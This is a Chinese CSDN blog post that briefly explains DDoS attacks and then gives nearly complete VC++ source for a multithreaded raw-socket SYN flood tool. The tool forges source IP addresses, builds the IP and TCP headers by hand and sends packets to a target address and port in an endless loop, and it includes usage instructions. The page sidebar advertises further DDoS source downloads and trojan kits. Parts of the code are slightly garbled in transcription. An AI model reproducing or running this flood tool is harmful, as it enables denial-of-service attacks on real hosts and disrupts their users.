

原 VC++实现DDos

2013年02月01日 13:25:48

阅读数: 3632

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活上千次代理程序的运行。

分布式拒绝服务攻击英文缩写即"Ddos"。Ddos的攻击方式有很多种,最基本的DoS攻击就是利用合理的

网络攻击中国“最受害”

服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。Ddos攻击手段是在传统的DoS攻击基础之上产生的一种攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的“消化能力”加强,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。

下面我们实现之,看代码

```
1 #include <winsock2.h>
2 #include <Ws2tcpip.h>
3 #include <stdio.h>
4
5 #pragma comment(lib,"ws2_32.lib")
6 #define SEQ 0x28376839
7
8 int threadnum,maxthread,port;
9 char *DestIP: // 目标IP
```

```
12 { 13 |         static int play=0;
14 // 进度条
15 char *plays[12]=
16 {
17 " | ",
18 " / ",
19 " - ",
20 " \\ ",
21 " | ",
22 " / ",
23 " - ",
24 " \\ ",
25 " | ",
26 " / ",
27 " - ",
28 " \\ ",
29 };
30
31 printf("=%s= %d threads \r", plays[play],threadnum);
32 play=(play==11)?0:play+1;
33 }
34
35 //定义一个tcphdr结构来存放TCP首部
36 typedef struct tcphdr
37 {
38     USHORT th_sport;//16位源端口号
39     USHORT th_dport;//16位目的端口号
40     unsigned int th_seq;//32位序列号
41     unsigned int th_ack;//32位确认号
42     unsigned char th_lenres;//4位首部长度+6位保留字中的4位
43     unsigned char th_flag;//6位标志位
44     USHORT th_win;//16位窗口大小
45     USHORT th_sum;//16位效验和
46     USHORT th_urp;//16位紧急数据偏移量
47 }TCP_HEADER;
48
49 //定义一个iphdr来存放IP首部
```

```
50 typedef struct iphdr//ip首部 51 {
52     unsigned char h_verlen;//4位首部长度, 和4位IP版本号
53     unsigned char tos;//8位类型服务
54     unsigned short total_len;//16位总长度
55     unsigned short ident;//16位标志
56     unsigned short frag_and_flags;//3位标志位 (如SYN,ACK, 等等)
57     unsigned char ttl;//8位生存时间
58     unsigned char proto;//8位协议
59     unsigned short checksum;//ip首部校验和
60     unsigned int sourceIP;//伪造IP地址
61     unsigned int destIP;//攻击的ip地址
62 }IP_HEADER;
63
64 //TCP伪首部, 用于进行TCP校验和的计算, 保证TCP校验的有效性
65 struct
66 {
67     unsigned long saddr;//源地址
68     unsigned long daddr;//目的地址
69     char mbz;//置空
70     char ptcl;//协议类型
71     unsigned short tcpl;//TCP长度
72 }PSD_HEADER;
73
74 //计算校验和函数, 先把IP首部的校验和字段设为0(IP_HEADER.checksum=0)
75 //然后计算整个IP首部的二进制反码的和。
76 USHORT checksum(USHORT *buffer, int size)
77 {
78     unsigned long cksum=0;
79     while(size >1) {
80         cksum+=*buffer++;
81         size-=sizeof(USHORT);
82     }
83     if(size) cksum+=*(UCHAR*)buffer;
84     cksum=(cksum >> 16)+(cksum&0xffff);
85     cksum+=(cksum >>16);
86     return (USHORT)(~cksum);
87 }
```

```
88 | 89 | DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
89 | {
90 |
91 |
92 | SOCKET sock =NULL;
93 | int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
94 | struct sockaddr_in sockAddr;
95 | TCP_HEADER tcpheader;
96 | IP_HEADER ipheader;
97 | char sendBuf[128];
98 |
99 | sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
100 | if(sock==INVALID_SOCKET)
101 | {
102 |     printf("Socket failed: %d\n",WSAGetLastError());
103 |     return 0;
104 | }
105 |
106 | //设置IP_HDRINCL以便自己填充IP首部
107 | ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
108 | if(ErrorCode==SOCKET_ERROR)
109 | {
110 |     printf("Set sockopt failed: %d\n",WSAGetLastError());
111 |     return 0;
112 | }
113 | //设置发送超时
114 | ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
115 | if(ErrorCode==SOCKET_ERROR)
116 | {
117 |     printf("Set sockopt time out failed: %d\n",WSAGetLastError());
118 |     return 0;
119 | }
120 | //设置目标地址
121 | memset(&sockAddr,0,sizeof(sockAddr));
122 | sockAddr.sin_family=AF_INET;
123 | sockAddr.sin_addr.s_addr =inet_addr(DestIP);
124 | FakeIpNet=inet_addr(DestIP);
125 | FakeIpHost=ntohl(FakeIpNet);
```

```
126 //填充IP首部127 | ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
127 ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
128 ipheader.ident = 1;
129 ipheader.frag_and_flags = 0;
130 ipheader.ttl = 128;
131 ipheader.proto = IPPROTO_TCP;
132 ipheader.checksum = 0;
133 ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
134 ipheader.destIP = inet_addr(DestIP);
135 //填充TCP首部
136 tcpheader.th_dport=htons(port);
137 tcpheader.th_sport = htons(8080);
138 tcpheader.th_seq = htonl(SEQ+SendSEQ);
139 tcpheader.th_ack = 0;
140 tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
141 tcpheader.th_flag = 2;
142 tcpheader.th_win = htons(16384);
143 tcpheader.th_urp = 0;
144 tcpheader.th_sum = 0;
145
146 PSD_HEADER.saddr=ipheader.sourceIP;
147 PSD_HEADER.daddr=ipheader.destIP;
148 PSD_HEADER.mbz=0;
149 PSD_HEADER.ptcl=IPPROTO_TCP;
150 PSD_HEADER.tcpl=htons(sizeof(tcpheader));
151
152 for(;;)
153 {
154
155     SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
156     ipheader.checksum =0;
157     ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
158     tcpheader.th_seq = htonl(SEQ+SendSEQ);
159     tcpheader.th_sport = htons(SendSEQ);
160     tcpheader.th_sum = 0;
161     PSD_HEADER.saddr=ipheader.sourceIP;
162     //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP校验和
163     memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
164
```

```

165         memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
166
167         tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
168         memcpy(sendBuf,&ipheader,sizeof(ipheader));
169         memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
170         memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
171         dataSize=sizeof(ipheader)+sizeof(tcpheader);
172         ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
173         memcpy(sendBuf,&ipheader,sizeof(ipheader));
174
175         sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
176         display();
177
178
179         }//end for
180         Sleep(20);
181         InterlockedExchangeAdd((long *)&threadnum,-1);
182
183         return 0;
184     }
185
186     void usage(char *name)
187     {
188         printf("\t=====SYN Flood=====\\n");
189         printf("\t=====gxisone@hotmail.com    2004/7/6=====\\n");
190         printf("\tusage: %s [dest_IP] [port] [thread]\\n",name);
191         printf("\tExample: %s 192.168.1.1 80 100\\n",name);
192     }
193
194     int main(int argc,char* argv[])
195     {
196
197         if(argc!=4)
198         {
199
200             usage(argv[0]);
201             return 0;
202         }

```

```
203 | usage(argv[1]);
    | 204 |
205 | int ErrorCode=0;
206 | DestIP=argv[1];//取得目标主机IP
207 | port=atoi(argv[2]);//取得目标端口号
208 | maxthread=(maxthread>100)?100:atoi(argv[3]);
209 | //如果线程数大于100则把线程数设置为100
210 |
211 | WSADATA wsaData;
212 |
213 | if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
214 |     printf("WSAStartup failed: %d\n",ErrorCode);
215 |     return 0;
216 | }
217 |
218 |
219 |
220 | printf("[start].....\nPress any key to stop!\n");
221 |
222 | while(threadnum<maxthread)//循环创建线程
223 | {
224 | if(CreateThread(NULL,0,SynfloodThread,0,0,0))
225 | {
226 |     Sleep(10);
227 |     threadnum++;
228 | }
229 | }
230 | WSACleanup();
231 | printf("\n[Stopd].....\n");
232 |
233 | return 0;
234 | }
```

版权声明：本文为博主尹成联系QQ77025077原创文章，欢迎转载侵权必究。 <https://blog.csdn.net/yincheng01/article/details/8562726>

个人分类: [Visual C++2010编程技术](#) [VC++编程技](#) [▼查看关于本篇文章更多信息](#)

上一篇 VC++实现文件关联

下一篇 VC++实现HTTP代理

DDOS攻击C++源码

想对作者说点什么?

我来说两句

 yuanxiaobo007 2013-02-04 09:40:19 #1楼

大侠，建议将代码背景改成默认的，这种背景看起来很费劲啊！！

C语言写的DDOS工具

 1361

#include #include #include #include #include #include #include using namespace std; #pragma comme...



DDOS压力测试远控带网络验证完整源码

2011年11月12日 3.34MB

下载



WordPress.com:创建免费网站或博客

百度广告

DOS攻击与DDOS

 2682

DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击行为被称为DoS攻击，其目的是使计算机或网络无法提供正常的服务。...



V C++ ddos攻击例子 代码

2008年10月25日 10KB

下载

对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇

 922

分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn 分析的不好请各位高手见谅花了几个小时分析的呵呵 TCP攻击主要分为2种 ...

DDOS攻击实现及学习

 1330

DDOS攻击实现及学习目录:DDOS攻击实现及学习 目录 1背景 2实验环境 3源码 4使用方法 5实验效果 6实验总结1、背景: 学习并实...

有眼袋原来可以这样处理，后悔知道的太晚！

左儿网络 · 顶新



09年最新DDOS流量攻击，免杀木马，和配套抓鸡软件强悍上市！欢迎下载！

2009年01月08日

6KB

下载

常见的DDos攻击手段

 2799

常见的DDos攻击手段 DDos攻击现在有比较多的方式，如SYN Flood，DNS query，ICMP Flood，UDP Flood等。

1. ...



DDOS攻击源代码 VC++6

2012年01月05日

11KB

下载



Visual C#.NET+2005中文版基础与实践教程.pdf

2018年08月02日

0B

下载



C# 达内科技 c++ 课件 及 源码 笔记【完美版】【初学者福音...

2018年08月02日

0B

下载



C#程序设计教程.pdf

2018年08月02日

0B

下载

菜鸟折腾前人的web攻击之路

 283

Web攻击OYAYA新闻管理系统 1.环境配置 Win server2003服务器配置，其中集成了ISS管理器，Oyaya新闻管理系统，Serv-u等实验配...

**开发一个app大概需要多少钱呢**

百度广告

DDoS攻击工具——TFN2K 分析

1708

摘要：本文是对分布式拒绝服务（DDoS）攻击工具"Tribe Flood Network 2000 (TFN2K)"的技术分析。TFN2K是由德国著名黑客Mixer...

浅谈"DDoS高防IP"如何抵御DDOS攻击

952

何为DDOS DDoS（Distributed Denial of Service，即分布式拒绝服务攻击）指借助于服务器技术，将多个计算机联合起来作为攻击平台...

防护篇(5.4) 03. 防范 DDoS 攻击 飞塔 (Fortinet) 防火墙

996

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或...

对Windows安全软件的思考

2804

最近以来，我重新翻阅了几本Windows系统下的安全类书籍，同时上网查阅资料，很意外地发现，很多几年前流行的牛叉技术，虽然还...

最新最经典的黑客入门教程(必备技能)

1560

无论那类黑客都是黑客联盟，他们最初的学习内容都将是本部分所涉及的内容，而且掌握的基本技能也都是是一样的。即便日后他们各自...

**PHP:PHP是什么?**

百度广告

**DDOS反攻击方法编程**

2009年08月04日 262KB

下载

java 使用线程池做DDOS 攻击示例

2970

```
public class DDos { public static void main(String[] args) { ExecutorService es = Execut...
```

DDoS攻击-Java实现

5452

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或...

C语言实现基于SYN洪泛的DoS攻击

2689

这是一个C语言程序，C语言实现基于SYN洪泛的DoS攻击。其中，启动传入参数第一个是伪造源地址，第二个是目的地址，第三个是...

被骗几十万总结出来的Ddos攻击防护经验！（转载）

114

被骗几十万总结出来的Ddos攻击防护经验！ 技术 站内编辑 2015-09-18 17:37 评论 0 阅读 115159 来源： 爱尖刀 本人从事网络安全行...



短信接口验证码

百度广告



ddos攻击syn flood洪攻击源码，仅供一起学习用的奥！

2014年11月18日 9KB 下载

教你用c语言实现dos攻击

273

http://tech.ddvip.com/2008-12/122870287998254.html



DDos攻击C源代码

2010年03月12日 1.76MB 下载



phpddos工具%2b教程.rar

2018年06月27日 0B 下载



一个模拟单周期cpu的mips编译器

2018年08月02日 0B 下载



免费永久云空间,终于可以自己建站了

百度广告



[免费]C or C++获取系统时间

2018年08月02日 0B 下载



TBB库以及一本书

2018年08月02日 0B

[下载](#)

more effective c++

2018年08月02日 0B

[下载](#)

多线程实现DDOS-- (C++源代码)

2009年05月18日 4KB

[下载](#)

python DDOS脚本

2017年11月21日 4KB

[下载](#)

做网站需要多少钱

百度广告

Ddos攻击方式分类

404

攻击网络带宽自愿的攻击方式 1、直接攻击 1.1、ICMP/IGMP 洪水攻击 1.2、UDP洪水攻击 2、反射和方法攻击 2.1、ACK反射攻击 2.2...

vc++ DDOS

1145

```
#include #include #include #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnu...
```



结合Socket实现DDoS攻击

242

一、实验说明 1. 实验介绍 通过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。 2. 开发环境 Ubuntu LinuxPyth...

dos 服务器攻击程序

198

```
/* * dos.c * * Created on: Jun 10, 2014 * Author: lexis */ #include #include #includ...
```



ddos源代码_c语言实现 VC6.rar r)

2012年06月26日 2KB

[下载](#)



大数据分析

百度广告

C++ SYN攻击源码

1369

// DOS.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include #include #include #include #pragma...



c++的DDOS源码，有学习的价值

2018年04月16日 3.57MB

下载

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇

719

//===== 分析者:alalmn—飞龙 ...

Udp DDOS攻击代码实现

1197

#include #include #include #include #include #include #include #include #include #include #include ...

DDos常见攻击手段介绍

260

DDoS常见攻击手段



买一个普通的台式主机大概需要多少钱

百度广告

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇

757

//===== 文章作者: alalmn—飞...

经历锲而不舍的DDOS攻击

2.1万

从昨晚的18: 50分开始，每隔30分钟左右进行10G流量的ddos攻击，实在没招，只能使用阿里云的高防IP来防御。

主要的攻...



尹成

 博客专家

关注

原创

1609

粉丝

8637

喜欢

950

评论

5833

等级：

博客 9

访问：514万+

积分：7万+

排名：37

勋章：  



Wordpress

网站必备插件大全

www.webfence.com

wordpress 建站



最新文章

兄弟连go教程（19）数据 - 面面向对象

兄弟连go教程（19）数据 - 匿名字段

兄弟连go教程（19）数据 -Struct

兄弟连go教程（18）数据 - Map

兄弟连go教程（17）数据 - Slice

尹成老师

尹成老师

QQ77025077

微信18510341407

所有视频在尹成学院

www.yinchengxueyuan.com

尹成百度云请联系QQ475318423

博主专栏

- 

office2010开发办公自动化

阅读量：118639 27 篇
- 

Visual C++2010开发编程

阅读量：576128 70 篇
- 

VisualC++信息安全编程

阅读量：447042 90 篇
- 

WindowsC++编程

阅读量：1591175 202 篇
- 

语音交互开发

展开

个人分类

- .net技术

47篇
- 3D UI技术

1篇
- Android技术

6篇

| | |
|---------|-----|
| C#4.0技术 | 32篇 |
| C语言编程 | 78篇 |
| 展开 | |

| | |
|----------|------|
| 归档 | |
| 2018年7月 | 23篇 |
| 2018年5月 | 233篇 |
| 2018年4月 | 25篇 |
| 2018年2月 | 1篇 |
| 2017年12月 | 1篇 |
| 展开 | |

| | |
|-------------------------|--|
| 热门文章 | |
| vc++经典技巧总结 | |
| 阅读量：42520 | |
| 语音识别的大规模汉语树形词典,搜索速度快如闪电 | |
| 阅读量：41058 | |
| 一个Nuance 的语音识别的例子 | |
| 阅读量：35470 | |
| VC++基于微软语音引擎开发语音识别总结 | |
| 阅读量：32402 | |
| 程序员不成熟的若干个特征 | |
| 阅读量：32342 | |

| | |
|---------------------------------------|--|
| 最新评论 | |
| 年少痴狂，怀恋曾经的创业岁月，语音... | |
| hi_boyl: 给我发一份吧2579171259@qq.com 非常感谢 | |
| EOS源码分析(7)目录结构 | |

lpx1988: 尹老师您好, 您在本篇文章中提到的“本书”具体书名是什么? 已经出版了吗? 我在哪能获取到? (希望能得到...

三句话影响人的一生

qq_42696214: 受教了, 人生感悟

为什么 C++ 仍如此重要

weixin_41212387

:

中国智慧VS西方智慧-看中国IT...

gk3214: 落乌啼霜满天, 江枫渔火对愁眠。姑苏城外寒山寺, 夜半钟声到客船



服务器高防



联系我们



请扫描二维码联系客服
✉ webmaster@csdn.net
☎ 400-660-0108
👤 QQ客服 🗨 客服论坛

关于 招聘 广告服务 网站地图
©2018 CSDN版权所有 京ICP证09002463号
🔍 百度提供搜索支持

经营性网站备案信息

2018/8/14

VC++实现DDos - CSDN博客

网络110报警服务

中国互联网举报中心

北京互联网违法和不良信息举报中心